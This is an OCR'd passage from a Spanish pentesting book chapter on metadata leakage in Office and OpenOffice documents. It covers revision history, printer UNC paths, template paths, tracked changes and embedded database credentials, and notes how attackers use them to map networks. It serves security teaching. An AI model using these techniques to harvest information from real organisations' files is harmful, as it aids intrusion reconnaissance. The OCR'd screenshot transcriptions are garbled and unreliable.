Tal y como se puede observar en la siguiente imagen en la que se han buscado las cadenas de la
informacion incrustada, se puede ver el valor de esas propiedades.

EB HxD - [DocConExif. doc]
,§§ File Edit Search View Analysis Extras Windows ? - X
P )| ?”j 4 | hex i ~

c |

Offaet 0 1 2 3 4 5 6 7 B % A B C D

00001C46 ©03 3D EA SF EC FB 5D AA 3C ALE 9F ED
00001C54 A2 SA 6E BD 2F EE 5F 70 7B 49 F7 61
DO0D01iCs2 6B FF 00 3C BF F1 E3 FE 34 51 45 2F
00001C?0 F9 57 DC 3F 69 3E EC FF D9 FF FE 00
DOO01C7E [72 65 61 74 65 64 20 77 69 74 68 20
0oooicsc @D Sg FF DE OO 43 00 Of 04 05 06 05
00001C9h 06 05 06 D7 O7 06 OB OA 10 DA OA 09

00001C48 14 OE OF OC 10 17 14 18 18 17 14 16 16 14 ..vvvveeveeass
QO001CB6 1D 25 IF 14 1B 23 1C 16 16 20 2C 20 23 26 .%...#... , #s&
0O001CC4 27 29 2A 29 19 1F 2D 30 2D 28 30 25 28 29 ') *) < .=0-{0% ()
00001CDZ 28 FF DB 00 43 01 07 07 07 OA 08 DA 13 0L 51
DOOO1CED Ok 13 28 1A 16 14 28 28 28 28 28 28 28 28 R el ok 3 o 4 B AT

OOO01CEE 28 28 28 28 28 28 28 28 28 28 28 28 28 28 (eeeeeceeteod
DODOL1CFC 28 28 28 28 28 28 2B 28 28 28 28 28 28 28 feretetettitedd
00001DOA 28 28 28 28 28 28 28 28 28 28 28 28 28 28  ((((((0({0((((

Offset; 1C7D | Block: 1C7D-1CBD e | Length: 11

Imagen 01.08: Acceso a la informacién EXTF con HxD.
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Desvinculado de ficheros graficos incrustados

La tarea de recuperacion puede ser mucho mas ficil si se decide desvincular todos los ficheros
incrustados. En los ficheros de Microsoft Word .doc, de Microsoft Excel xls o de Microsoft
PowerPoint .ppt, esta tarea puede ser tan simple como guardar el documento como pagina Web.
Asi, el propio paquete de Microsofi Office realiza por nosotros un analisis de los ficheros graficos
incrustados y los genera en ficheros independientes.

& WEB EXIF
Archivo  Edician

@rl - @ }? ):—) Blsqueda {j’ Carpetas -

@ Tareas de imagenes

T Ver como Una presentacion

Yer Favoritos Herramientas  Ayuda

@ Pedir copias fotograficas en
lirea

‘3}_,] Imprimir esta imagen

3\ Configurar como Fonda: def
escritorio

Tareas de archivo y carpeta .

Cambiar nombre 3 aste:
archivo

{3 Mover sste archivo
[ﬁ Coplar este archivo

~§cConxif DocConExif Imagel

Imagen 01.09: Desvinculado de ficheros grificos en documentos .doc convertidos a HTML.

Como se puede apreciar, la informacién EXTF que viene acompafiando los archivos graficos se
mantiene totalmente intacta y se puede observar como, en este ejemplo, el fichero de imagen incluia
ente los metadatos una miniatura - o thumbnail - de apariencia distinta a la propia imagen, lo que
mostraria en pequefio una version anterior del fichero.

Este comportamiento de preservar la informacion EXTF en los archivos graficos que se vinculan en
un documento, se va a repetir en todas las versiones hasta Microsoft Office 2003. En ellas solo se
pierde la informacion EX/F de la fotogratia si se utiliza la opcion de Modificar Imagen y se guardan
los cambios. En las subsiguientes versiones de Microsoft Office, el comportamiento cambiard
dependiendo del formato de documento que se utilice.

En el formato de fichero de Microsoft Office 2007, llamado OOXML. o ISO DIS 29500, los formatos
.docx, xIsx y .pptx son ficheros comprimidos ZIP que guardan los archivos incrustados como
elementos independientes, por lo que la extraccion de los ficheros es una tarea trivial, pero, en
este caso, los archivos graficos son convertidos a formato PNG sin pérdida y los metadatos son
limpiados.
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Name & Size Packed |
&
|| i imagel.png 18.204 18.204
[®i|image2.png 6.456 6.456
B|image3.png 34,903 34503
[Blimaged.png 29159 29159
B/ imageS.png 32501 32501
Wi image6.png 61.741 61.741

Imagen 01.10: Desvinculado de ficheros graficos en OOXML.

Revisiones y modificaciones

Una de las caracteristicas mas apreciadas de los usuarios de Microsoft Office que trabajan de forma
colaborativa en un documento son las opciones de revision. Con estas opciones, los usuarios pueden
realizar cambios al documento y siempre quedaran almacenadas las versiones anteriores del fichero,
permitiendo recuperar el estado anterior de la informacion

Esta accion es ttil durante la edicion y depuracion del documento, pero si el documento se hace
publico debe ser limpiado de las versiones anteriores. De no hacerse asi, la informacion estard
disponible para cualquiera que active el modo de revision del documento.

El balance de la empresaesde +1-2.000 € posith.'o$

e nsn i

Imagen 01.11: Control de cambios en Office 2007.

Como se puede apreciar en la imagen 01.11, se muestran los valores anteriores previos a su
modificacién. El documento final mostraria un balance positivo mientras que el original mostraria
un resultado negativo. Al usuario del documento le basta con seleccionar la opcion de ver documento
original.
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Notas, encabezados y pies de paginas

Otros lugares donde suele quedar informacién no deseada son las anotaciones puntuales sobre los
documentos. Las notas realizadas a pie de pagina son comunes en los documentos de presentaciones
y los encabezados y pies de pagina con informacion no deseada, como cédigos de referencia internos
0 nombre de usuarios que han creado o han trabajado en el documento. La informacién contenida en
estos apartados debe ser revisada antes de la publicacion.

Informacién oculta por formato

En los documentos de Microsoft Office es posible que una imagen quede oculta detras de otra en una
diapositiva o que la plantilla utilizada en un documento de presentacién Power Point o la plantilla de
un documento Excel tenga informacién y archivos no deseados que pueden ser tapados por el texto
o las imagenes del documento. También pueden darse situaciones en las que un desafortunado clic
con el raton o un error al pegar informacion pueden dejar en el documento informacién oculta por el
formato, simplemente porque se ha copiado texto del mismo color que el del fondo de pagina. Este
tipo de fugas de informacién puede producirse también por comportamientos maliciosos por parte
de empleados descontentos, o que desean poner en un aprieto a un compatfiero o que, simplemente,
quieren gastar una broma pesada.

Otros lugares donde se almacena la informacion

Los lugares donde pueden quedar datos no deseados pueden ir desde los comentarios en las hojas de
estilos, hipervinculos copiados que apuntan a servidores de la intranet o incluso el codigo generado
por un usuario en macros en VBScript que almacenen informacién en comentarios, nombre de
variables, etcétera. Toda esa informacién se puede extraer utilizando un sencillo programa que

busque cadenas de texto dentro de ficheros o bien con un editor hexadecimal.

BinText 204

Search | Fiter | Help |

| Fletoscan  [D:\Documentos\Atticulos\M b de Clienles. doc Browse | Go |
¥ Advanced vew Time taken: 0000 secs  Test size: 1412 bydes 1,30K)
Fiepos | Mempos [ 1D | Tem | -
ADD0DOADY  DODDOAOT O HYFERLINK

A DODOGTET  OOODDS7EY O hitp://schemas. openkmiomats. org/officeD ocument 2006/ custom=ml

A DDODEET4  ODDDBEI4 O hittpschemas, JofiiceD) 442006 bibly

A ODODGESF  OOOOEESF O hitp. //schemas opersmifamals org/olficelocument /2006 tibliogyaphy

A QDDDEPED DOOOE7ED O Fitpr #/schemas operemiformatz org/ officeDocument/ 2006 /bibbog aphy

AODDDMI 00003437 O Pt 7/ org/dramingmi/ 2006/ main

A DDDOAOC  0ODOCAOC O htpr /7152 168.0 33/clientes =
U 0000127 000127 0 hite: /192 168.0 33/ clientes | E
U D004DAD 00004040 O hitp: /7152, 168.0 33/clientes o
ADIODIS0E 00003509 O hlink. 1=
U 00002786 DDOO2TBE 0 Hipervincuo |4
4 0D00ZEED  DODDOZEED O Fuente de panalo predeter | ;
ADODISIA 00003514 O el link: -

A (000G7C3  ODODETCS O de:schemaRefs

A IDODGPDE DOOOETDE O de:schemaRef dy ui

AUDODG739  OO0OET39 O ds datastorelter ditemlD

U 0DOOS0BZ  DODDEQEZ O DeocumentSummaryinfomabon

A ODODERAD 00O0BBAD O Documento de Microsoft Difice \wiovd 97.2003

A 0IETFD  0OOC27FD O Cantent_Types

A ODO2A7 0000247 O Contenl_Types

U DO0DE302  0O00E302 O CompOb
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A 00003010 00003010 O Chema -
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[Ready [ ansi 66 Ju E | Rase: T E'ndj save |

Imagen 01.12: BinText rastrea textos y localiza hipervinculos.
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Informacion oculta

Hasta este momento se han revisado metadatos e informacion facilmente accesible y, en ocasiones,
modificable por el usuario que hace uso de un paquete de Microsoft Office. Sin embargo, existe
también otra informacion, que, segin las diferentes versiones de los formatos de documento, se
almacena de forma oculta dentro de los archivos.

Estos metadatos son internos y es el propio paquete de Microsoft Office el que hace uso de ellos.
Asi, podemos encontrar una lista de valores que identifican la version de software utilizada en la
creacion del documento, el autor que creé el archivo, la fecha de creacion, el nimero de revisiones
que se han realizado, el ltimo usuario en modificar el documento, la Gltima vez que se imprimio el
archivo, el tiempo total que se ha estado trabajando con ese documento, informacion sobre el tamafio
del documento y hasta un identificador tnico del archivo que se creaba en los documentos generados
en algunas versiones de Microsoft Office que utiliza informacion del equipo para ser generado y que
podria ser usado para seguir un documento hasta el equipo desde el que fue creado.

mimetype - application/msword
revision history - revision #1: author 'EL USuARIO' worked on '\\serwvidor‘compartida\poc0l.doc’
revision history - Revision #0: Author 'EL USUARIC' worked on 'C:i\Documents and
settings\usuario97\escritorioipocol. doc'
company — LA ORGANIZACION
ﬁ?aragraph count - 1
ine count - 1
last printed - 2008-05-19T09:36:0
last saved by - EL USUARIO
character count - 225
template - Normal
creation date - 2008-05-19T09:21:0
title - Prueba de documento de wordg7
word count - 39
page count - 1
creator - EL USUARIO
date - 2008-05-19T09:46:0
generator - Microsoft word 8.0

|

L

p

Imagen 01.13: Metadatos extraidos con LibExtractor de un doc Word 97.

No todos estos valores estan presentes en todos los formatos de archivo y su aparicion en un
documento depende tanto de la version del formato de archivo utilizado como de la version de la
herramienta que se esta utilizando. Asi, un documento creado con una version antigua puede tener
todos estos metadatos y solo se modifican algunos de ellos cuando se edita el archivo con una
version mas moderna.

Conexiones a bases de datos

En algunos casos también pueden obtenerse datos mucho mas sensibles para la seguridad de una
organizacion, como es el caso de las conexiones a bases de datos. En la imagen 01.14 aparece
una consulta SELECT, los nombres de los drivers ODBC usados, el nombre del servidor donde se
almacena la base de datos, el propio nombre de la base de datos y la cuenta de acceso utilizada para
extraer los datos... y también la contraseiia.

Estos documentos deberian tener una proteccion especial dentro de las empresas, ya que almacenan
credenciales de forma muy comun y son un auténtico riesgo de seguridad a tener en cuenta.
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Imagen 01.14: Informacion sobre conexion a base de datos en un documento de Word.

El texto, para mayor claridad, es:

SELECT pruebas (.apellido
I

pruebasmetadata. prueba

DATABASE=prueb

etada
5

PWD=P,

ssMetaDA

PORT=0 SERVER=servidor

UID=UsuarioMetaDATA

Impresoras

TA

ta

Driver}

o

OFPTION=0

» pruebas O.nombre, pruebas 0.tlf FROM
pruebas (0

Ya hemos comprobado previamente cémo el historial de revisiones nos proporciona informacién
sobre nombres de cuentas de usuario y de servidores de carpetas compartidas. Otro dato oculto en
algunos documentos que puede revelar informacion sobre nuestros sistemas informaticos son los
nombres de impresora que quedan almacenados como informacién oculta dentro de los documentos
al formatear la pagina para impresion..

Las impresoras compartidas aparecen en formato UNC, Universal Naming Service, por lo que si

la impresora con la que se esta trabajando es de red, revelara el nombre del servidor, del recurso

compartido y, en ocasiones, incluso la direccién /P del servidor, proporcionando informacion del

direccionamiento interno de la red que podra ser utilizado para por ejemplo, hacer un escanco de

registros PTR en el servidor DNS principal de la organizacion en un ataque completo.
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E% HxD - [Copia de Doc1.doc]

Offset B i 2 34 B &£ 7 88 LB G D
0000142E 75 00 6D OO 65 00 6E OO 74 00 73 00 20 00 u.m.e.n.t.s.
0000143C 61 00 6E OO 64 OO 20 DO 53 00 65 00 74 00 a.n.d. .S.e.
00001444 74 00 €69 00 6E D0 67 00 73 0D 5C 00 39 00 t.i.n.g.s.\.
00001458 37 00 62 00 5C 00 45 00 73 OO0 63 00 72 00 7.b.\.E.
00001466 69 00 74 OO0 6F OO0 72 00 69 00 6F 00 5C 00 i
00001474 43 00 6F OO0 70 OO0 69 00 61 00 20 DO 64 0O
00001482 65 00 20 00 44 DO 6F DO 63 DO 31 D00 2E 0O
00001490 64 D0 6F 00 63 00 FF 40 Hl 47 46 41 2D 53
O0COD149E [74 75 64 €62 6F 53 65 74 20 32 30 30 30 53
OD0014AC 46 20 76 35 32 2E 33 00 4C 50 54 31 3. 00
000014BA [?7 69 6E 73 70 6F 6F 6C DO 41 47 46 41 21
000014CE |53 74 75 64 69 6F 53 65 74 20 32 30 30 30
000014D6 1S3 46 20 76 35 32 2ZE 33 00 41 47 46 41 21
OOOD14E4 [53 74 75 64 69 6F 53 65 74 20 32 30 30 3d
000D14F2 |53 46 20 76 35 32 2E 33 00 Dd 00 00 00 01

o0

udicSet

Offset; 1498 | Block: 1498-14FB . Length: 64

Imagen 01.15: Datos de impresora en un documento de Word.

Esta informacion es muy valiosa por si misma para un atacante porque permite descubrir informacion

sobre las ACLs de la red, ya que si un usuario esta usando una impresora significa que tiene acceso

al recurso y, por supuesto, que el usuario es valido en el servidor,

EE HxD - [Copia de Doc1.doc]

P Fle Edt Search View Analysis Extras Windows 7

11 hex
C.Dp.?de_ooci,doc ?
Offser B 1 2 34 K & F g 85 K H £ D

00001490 SC 00 43 00 6F 0D 70 DO 69 00 61 00 20 00 V.C.o.p.i.a.

0O0O0014EA 0O OO0 01 OO OO OO FF 40 EC SC 73 65 72 74
DO00014CE |69 64 6F 72 S5C 41 47 46 41 2D 50 72 6F 53
0o0014D6 |65 74 20 39 34 30 30 53 46 20 76 35 32 2H
O00014E4 B3 00 4E 65 30 30 34 D0 77 69 6E 73 70 6F
OOD014F2 |6F 6C 00 41 47 46 41 2D 50 72 6F 53 65 74
00001500 RO 39 34 30 30 53 46 20 76 35 32 2E 33 0Q
OO0DO0150E 5C 5C 73 65 72 76 69 64 6F 72 5C 41 47 44
0000151C @1 2D 50 72 6F 53 65 74 20 39 34 30 30 53
0000152A4 46 20 00 OO 01 04 02 O5 9C 0O C4 D2 53 FF

00001482 72 00 69 00 74 00 6F 00 72 00 69 00 6F 00 r.i.t.o.r.i.o.

0000149E 64 00 65 00 20 00 44 DO 6F DO 63 00 31 00 d.e. .D.o.c.l.
0000144C 2E DO 64 00 6F OO0 63 OO0 00 00 00 00 05 00 ..d.O:Couvenns

00DD1538 00 00 01 OO 09 00 94 OB 34 08 64 00 01 OO PSRRI — ) T . KR
Qooo1546 OF OO0 BO 04 01 0D 01 OO BO 04 03 0O 01 OO PR e T AR o
Offset: 14C2 | Block: 14C2-1529 _Llengthi€8

Imagen 01.16: Impresora en formato UNC en un documento de Word.



30 Pentesting con FOCA

Las versiones posteriores a Microsoft Office 95 no suelen incluir esta informacién en los ficheros
creados. Pero, curiosamente, si la actualizan cuando la encuentran en un documento, haciendo
constar el nombre de la impresora que tengamos en uso. Este comportamiento hace que documentos
heredados que se han ido modificando con diferentes versiones sigan conservando y actualizando
este dato. No hace falta siquiera imprimir los documentos o configurar su impresién: basta con una
simple edicién y guardado.

Metadatos en OpenOffice

OpenQlffice utiliza de forma nativa el formato ODF (Open Document Format), un formato estandar
y abierto definido por OA4SIS 'y aprobado por ISO. En ODF, los documentos se almacenan como un
archivo comprimido ZIP que contiene un conjunto de ficheros en formato XML con el contenido del
documento.

Asi, si se utiliza un programa de compresion para abrir un documento ODT (fichero de texto creado
con OpenOffice Writer) nos encontramos, entre otros, con los siguientes archivos:

- meta XML: Contiene metadatos relativos al documento y, como se indica en la ayuda del
producto, este fichero no se cifra ni siquiera cuando el documento esté protegido mediante
contrasena.
- settings XML: Incluye informacion relativa a la configuracion y a los ajustes del
documento.

- content XML: En este fichero se almacena el contenido principal, es decir, el texto del
documento.

| &3 Thumbnails a01 181
wmimatppe 39 39 2008-08-11 09:52

gjl:onbed:.xmi 2621 678 2008-08-11 09:52
2] stvles.xml 8332 1673 2008-08-11 09:52
| (= meta.xml 1232 473 2008-08-11 09:52
| (=] settings. xmi 9268 1689 2008-08-11 09:52

Imagen 01.17: Contenido de un documento ODT.
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Aunque la version de OpenOffice 1 utiliza extensiones de archivo distintas a las de OpenOffice 2, los
documentos son guardados de forma similar. No hay que olvidar que ODF se construyé como una
evolucion de los formatos de fichero utilizados en OpenOffice 1.

Datos personales

Los primeros metadatos que genera un usuario utilizando OpenOffice se crean durante el proceso
de la instalacion del sofiware y a su vez la primera vez que se ejecuta la aplicacion. La suite solicita
al usuario una serie de datos que por defecto van a acompafiar a los documentos creados con esa
version del software desde ese momento en adelante, hasta que se cambien.

OpenOffice va a almacenar esta informacion de forma que pueda acompafar, como una firma
reconocible, a los documentos generados desde ese soffware. No obstante, todos estos datos, y més
informacion ain, pueden ser modificados y ampliados posteriormente modificando las preferencias
del paquete OpenOlffice, utilizando para ello el cuadro de Opciones que se encuentra dentro del ment
Herramientas.

OpenCffice.

I General
:Memtl‘|a$tfahajo .................... ; e
~“Ver

— Imprimir
—Rutas
-~ Colores
| Fuentes
|~ Seguridad :
- Representacion T T
| Accesibiidad
[——Java
= -~ Actualizacion por Internet
@ - Cargar/Guardar
~Configuracidn de idioma
H OpenOffice.org Writer
H - OpenOffice.org Writer/\Web
B OpenCffice.org Base
- Gréficos
B Inkernet

Imagen 01.18: Modificacion de los datos de usuario.

Parte de esta informacién que puede verse se va a almacenar en los documentos generados con
OpenOffice sin necesidad de seleccionar ninguna opcion para ello. De esta forma, si creamos un
nuevo documento de texto y comprobamos el contenido del fichero meta. XML contenido en el
archivo comprimido ODF que se ha generado, encontraremos la informacién que se muestra en la
imagen 01.19, donde puede verse que se incluye el nombre y los apellidos del usuario, la version
de OpenOffice y el sistema operativo concreto que se ha utilizado para la creacién y/o edicion del
presente archivo.
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k2xml version="1.8" encoding="UTF-8" ?>

-<office:doecument-meta xmlns:office="urn:oasis:names:tc:opendocument :xmlns:office:1.8"
pamlns i xlink="http://wms.w3.0rg/1999/x1ink" xmlns:dc="http://purl.org/dc/elements/1.1/"
pamlns :meta="urn:oasis:names: tc:opendocumernt : xmlns meta:1.8"

pamlns : coo="http://openoffice.org/284/office” office:version="1.6">

- <office:meta>

<meta:generator>OpenOffice.org/2.38Win32 OpenOffice.org project/6B8mS5$Build-
P221</meta:generator>

<meta:initial-creator>MiNombre MiApellido</meta:initial-creator>
<meta:creation-date>20@8-08B-11T11:33:23</meta: creation-date>
<meta:editing-cycles>@</meta:editing-cycles>
<meta:editing-duration>PTesS</meta:editing-duration>

<meta:user-defined meta:name="Info 1" />

<meta:user-defined meta:name="Info 2" />

<meta:user-defined meta:name="1Info 3" />

<meta:user-defined meta:name="Info 4" />

<meta:document-statistic meta:table-count="0" meta:image-count="8" meta:object-count="8"
meta:page-count="1" meta:paragraph-count="8" meta:word-count="8" meta:character-count="8" />
</office:meta>

</office:document -meta>

Imagen 01.19: Fichero meta. XML.

Impresoras

Como ya vimos en la seccion anterior, entre la informacion que puede ser potencialmente peligrosa,
pues revela datos sobre la infraestructura de una empresa, esta la relativa a las impresoras. Asi,
cuando se imprime un documento con OpenOlffice, y posteriormente es guardado, dentro del fichero
settings XML queda la informacion de la impresora que ha sido utilizada.

<config:config-item config:name="ClipAsCharacteranchoredwriterrlyFrames™
config:type="boolean">false</config:config-item>

<config:config-item config:name="CurrentDatabaseDatasource™ config:type="string™ />

<config:config-item config:name="DoNotCaptureDrasobjsonPage”
config:type="boolean">false</config: config-item>

<config:config-item config:name="TableRowKeep” config:type="boolean">false</config:config-
item>

<config:config-item config:name="PrinterName” config:type="string">\\servidor\HP 200@C
</config: config-item>

<config:config-item config:name="PrintFaxName" config:type="string" />

<config:config-item config:name="ConsiderTextwraponobjros"
config:type="boolean">false</config: config-item>

<config:config-item config:name="use0ldPrintermetrics™
config:type="boolean”>false</config:config-item>

Imagen 01.20: Informacién de una impresora en un servidor de red.

Plantillas

Las plantillas se utilizan para generar documentos con estilos y formatos predefinidos. Esta forma
de trabajar es muy utilizada ya que ahorra trabajo y permite utilizar documentos con imagenes
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corporativas de forma comoda. Sin embargo, cuando se genera un documento a partir de una plantilla,
el documento almacena referencias a la ruta de ubicacién de la plantilla en el archivo meta XML.

<?¥ml version="1.8" encoding="UTF-8° 2>
- «office:document-meta xmlns:office="urn:oasis:names:tc opendocument :xmlns:office:1.6"
xmlns :xlink="http://wew.w3.0rg/1999/x1ink" xmlins:dc="http://purl.org/dc/elements/1.1/"
xmlns:meta="urn:oasis:names: tc:opendocument :xmlins :meta:1.8”
xmlns:ooo="http://opencffice.org/28es/office” office:version="1.8">
- <office:meta>
<meta:generator>openOffice.org/2.38Win32 Openoffice.org_project/esemsiguild-
9221</meta: generator>
<dc:titlexnuevarlantilla</de:titles
<meta:initial-creator>MiNombre MiApellido</meta:initial-creator>
<meta:creation-date>2083-88-12T18:82:14</meta: creation-date>
<meta:editing-cyclessi</meta:editing-cycless
<meta:editing-duration»>PTeS«</meta:editing-duration>
cmeta:template xlink:type="simple” xlink:actuate="onRequest”

xlink:href="../../Datos¥2@deX20programa/Open0ffice.org2/user /template/NuevaPlan
tilla.ott" xlink:title="nuevaPlantilla" meta:date-"2008-88-12T16:682:14" />

<meta:user-defined meta:name="Info 1" />

<meta:user-defined meta:name="Info 2" />

<meta:user-defined meta:name="Info 3° />

<meta:user-defined meta:name="Info 4™ />

<meta:document-statistic meta:table-count="8" meta:image-count="8" meta:chject-count="g"
meta:page-count="1" meta:paragraph-count="1" meta:word-count="8" meta:character-count="g" /»
</office:meta>
</office:document-meta>

Imagen 01.21: Ruta de acceso a la plantilla.

Como se puede apreciar, en el archivo mera XML aparece la ruta de la plantilla relativa a la ubicacion
del documento. Esta ruta puede parecer inofensiva y falta de informacion que ponga en riesgo la
seguridad del sistema, sin embargo, si la plantilla hubiera sido almacenada en una carpeta situada
fuera del perfil del usuario, la ruta ofreceria informacién sobre una cuenta de usuario del sistema.

<meta:template xlink:type="simple” xlink:actuate="onRequest”
xlink:href="../DocumentsX2esnd¥2esettings/Cuentalsuario/Datos¥k2edex2eprograma/Openoffice.org
Juser/template/NuevaPlantilla.ott™ xlink:title="NuevaPlantilla” meta:date="28088-85-12T18:02:14"
/>

<meta:user-defined meta:name="Info 1" />

Imagen 01.22: Ruta a plantilla con informacion de cuenta de usuario.

En el caso de la imagen 01.22, el documento ha sido almacenado en “C:\” y como resultado, la
ruta de la plantilla nos revela la carpeta que contiene el perfil del usuario, dentro de “C:\Documents
and Settings”. El nombre de esta carpeta normalmente es el de la cuenta de usuario, en el ejemplo
“CuentaUsuario”. Se debe destacar aqui que, en algunas ocasiones, el nombre de esta carpeta contiene
también datos relativos al dominio al que pertenece el usuario. Esta informacién se presenta en el
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nombre de la carpeta del perfil del usuario con la estructura “NombreDeCuenta.NombreDeDominio™
ofreciendo informacion mucho mas reveladora a un posible atacante. Igualmente, el documento
podria haber sido guardado en otra unidad distinta a la de la plantilla, obteniéndose en ese caso una
ruta completa que identifica la unidad de disco.

link:actuat

<meta:template xli
xlink: href="fCsfDos

="NuevaPlantilla" meta: date=

12T710:02:14" />
<meta:user-defined meta:name="Info 1" />

Imagen 01.23: Ruta a plantilla con unidad de disco.

En los ejemplos que se han mostrado, los resultados son todos desde maquinas de trabajo Windows
pero el resultado no difiere mucho en las maquinas Linux. En este caso, las rutas a los perfiles pueden
contener la ruta al SHOME del usuario y este puede quedar al descubierto.

<meta:template xlink:type="simple” xlink:actuate="onRequest™ x1link:role="template”
xlink:href="/home/pruebas/.openoffice.org2/user/template/PlantillaNueva.ott”
xlink:title="NuevaPlantilla” meta:date="2888-06-38T89:13:28" />

«meta:user-defined meta:name="Info 1" />

Imagen 01.24: Usuario Pruebas en ruta a plantilla.

Logicamente, si el documento se encuentra ubicado en un servidor de red, la informacién que
aparecera en formato UNC mostrara el nombre del servidor y la unidad compartida permitiendo de
nuevo a un posible atacante recomponer el mapa de la red de la organizacion.

Documentos vinculados e incrustados

Una de las opciones que aportan casi todos los programas ofiméticos actuales es la de vincular
e incrustar documentos completos o secciones de documentos procedentes de otras aplicaciones.
Esto puede ofrecer un punto de fuga de datos no deseados dificil de controlar para una empresa o
particular a la hora de enviar o publicar un documento ofimatico.

En el caso de la vinculacion de archivos, en el documento principal aparecera una referencia al
documento vinculado, en forma de ruta relativa siempre que sea posible y como ruta absoluta a la
red cuando no quede otra alternativa para referenciar correctamente la ubicacién del archivo.

Cuando el documento vinculado se encuentre en el mismo equipo que el documento principal, los
resultados serén, en general, similares a los mostrados en el apartado de plantillas, pudiendo llegar a
revelar informacion sensible sobre cuentas de usuario o ubicaciones de archivos.
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Si el documento vinculado esta almacenado en otro equipo, la informacién revelada también seria
muy util para un posible atacante, pues el recurso apareceria en forma UNC desvelando datos de la
estructura interna de la red de la organizacion.

<text:p text:style-name="standard">
<draw:frame draw:style-name="fr1" draw:name="graficos1” text:anchor-type="paragraph”
svgiwidth="16.999m" svg:height="6.369cm" draw:z-index="8">
<draw: image xlink:href="//desktop/confidenciales/Dibujo.bmp” xlink:type="simple”
x1ink:show="embed" xlink:actuate="onLoad" draw:filter-name="<Todos los formatos>" />
</draw: frame>
<ftext:p>

Imagen 01.25: Ruta a equipo remoto,

En el caso de que el archivo haya sido incrustado en el documento ya no apareceran estas rutas,
pero entonces hay que afrontar nuevos posibles problemas de fuga de informacién en todos los
documentos incrustados, ya que éstos pueden contener, a su vez, mefadatos e informacién oculta
dentro ahora del documento principal.

Supongamos que se incrusta en un documento ODT una imagen JPG que lleva asociados metadatos
en formato EXIF. Uno de esos metadatos es una miniatura que de apariencia distinta a la de la
imagen, lo cual demuestra que ésta ha sido manipulada.

Todos los archivos incrustados se encuentran dentro del documento maestro, por lo que abriendo el
fichero ODT con un descompresor, se puede ver que existe una carpeta denominada Pictures y que
dentro de ella se encuentra la imagen incrustada, aunque con otro nombre.

e

7544 2008-08-12 09:47

Imagen 01.26: Imagen incrustada en carpeta Picrures.

Si la imagen es extraida y analizada puede verse que mantiene todos los metadatos de la imagen
original y, por supuesto, la miniatura que muestra el estado original de la fotografia.
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8 ExifReader - 10000000000001 1auuununa4msormz J
File Information Ayuda

&1 Abror 1o\mxmmuﬁmm1ammsmaﬁfmm

Thurmbnail

e S e i A 0 S . E
JFIF_APF
Imagen 01.27: Metadaros EXIF en archivo incrustado.
Modificaciones

Una de las caracteristicas que ofrece OpenOffice Writer es hacer un seguimiento de los cambios
que sufren los documentos. Esto es muy 1til cuando un documento esta siendo elaborado por
varios usuarios o cuando se desea conocer todas las acciones realizadas en el mismo. El submenu
“Modificaciones™ del mena “Editar” permite activar esta caracteristica, asi como hacer visibles u
ocultar los cambios.

Por descuido, se puede estar trabajando con un documento que tiene esta opcion activada, pero la
visualizacion de la herramienta no nos esta mostrando los cambios, con lo que si ese documento es
enviado sin eliminar la historia, cualquiera que acceda a este archivo podra leer informacion que tal
vez no es deseable, como saber si se ha eliminado algo, si se ha afadido y quién y cuando fueron
realizados esos cambios.

OpenDffice. org Writer
am Mer mtw ﬁum Tg#a uerrm.as Veptana  Ayvuda

i_;__i; % 4 | .é. - %

Laempresa X, conla que nos ha tocado wabajer es estupenda,

Es un placer trabajar con ellos.

Imagen 01.28: Documento con la visualizacion de cambios desactivado.
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[Efiminado: MiNombre Miapelido - 13/08/2008 13:07

Es un placer trabajar con ellos,

/T ik o =
oot a e g e e 4 L i 3 A i Tt e e

Imagen 01.29: Documento con la visualizacion de cambios activado.

Toda esta informacion relativa al historial de cambios queda guardada en el archivo content XML.

;text:tracked{hanges:

<text:changed-region text:id="ct118732472">

<text:deletion>

<office:change-info>
<dc:creator>MiNombre MiApellido</dc:creators
<dc:date»>200B-08-13T13:07: 88</dc:date>
<foffice:change-info>
<text:p text:style-name="Standard”>lamentablemente patética</text:p>
</text:deletion>
<ftext:changed-region>

Imagen 01.30: Historial de Cambios en content XMIL..

Parrafos ocultos

Otra curiosa opcion que ofrece OpenOffice es la de ocultar texto o parrafos. Esto permite a personas
que estan trabajando sobre un documento tener una visualizacion, con parrafos ocultos, preparada
para imprimir, y otra visualizacion, con parrafos visibles, con informacion para la edicion del
documento. Esta caracteristica se activa incluyendo un campo especial en el parrafo.

Posteriormente podemos activar o desactivar la visualizacion de todo el texto oculto mediante la
correspondiente opcion del ment “Ver” o cambiando la condicién que se indico anteriormente
cuando se oculto el texto. Asi, si tenemos un documento con pérrafos ocultos, pero no tenemos
activa la opcién de verlos, obtendremos una visualizacion que no muestra toda la informacién que
tiene el documento.
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Notas, Encabezados, Pies, Comentarios...

En un documento con formato OpenOffice existen un buen nimero de sitios en los que se puede
introducir informacion que, en posteriores revisiones, pueda pasar desapercibida al ojo humano.
Por ejemplo, en encabezados o pies de paginas, anotaciones a pie de pagina o documento, o en las
notas en linea o comentarios que pueden ser introducidos utilizando la opcion “Notas” del menu
“Insertar”,

Estas notas, salvo que se especifique lo contrario, no se incluyen a la hora de imprimir o exportar
el documento, por ejemplo a un formato PDF, por lo que es facil que no sean detectadas en las
revisiones. Hay que tener en cuenta que incluso algunos cuadros de texto y otros elementos pueden
estar definidos como “no imprimibles” con lo que una revision de un documento no deberia limitarse
a su lectura en formato impreso.

Andlisis de mercado
Re o

apropiadamente falseados para que
apoyen nuestra politica actual de ventas

Marco

L tAizax fa configuracich dat cbieto supetior

Imagen 01.31: Definicion de Marco de Texto Imprimible o No Imprimible.

Metadatos personalizados

En OpenOlffice, el usuario tiene también la posibilidad de incluir metadatos personalizados en
sus documentos y asi extender ain mas la meta-informacién relativa al contenido del documento
utilizando para ello la opcion de “Propiedades™ dentro de la lista de elementos del mena “Archivo”
de la aplicacion.




Capitulo 1. Los Metadatos kL

Ademés de los metadatos personalizados, el documento podria almacenar informacién en su
descripeion, lo que puede ser un dato perdido si un documento es creado desde otro fichero anterior,
lo que provocard que sea heredada esta informacion del documento original.

ditar nombres de infol

Imagen 01.32: Metadatos personalizados.

Bases de datos

Una de las caracteristicas més importantes que ofrecen los documentos ofimaticos es la posibilidad de
generar modelos que, combinados con bases de datos, permiten generar documentos personalizados
de forma automatizada. Estos modelos, especialmente disefiados para la combinacién de
correspondencia, deben ser objeto de especial consideracion, ya que contienen informacién que
permite describir la base de datos de la que toman la informacion. Toda la informacién relativa a la
combinacion de correspondencia, y por tanto a la base de datos, puede ser encontrada en el archivo
settings XML. En €l aparece informacion sobre el nombre de la base de datos y la tabla utilizada para
la combinacion.

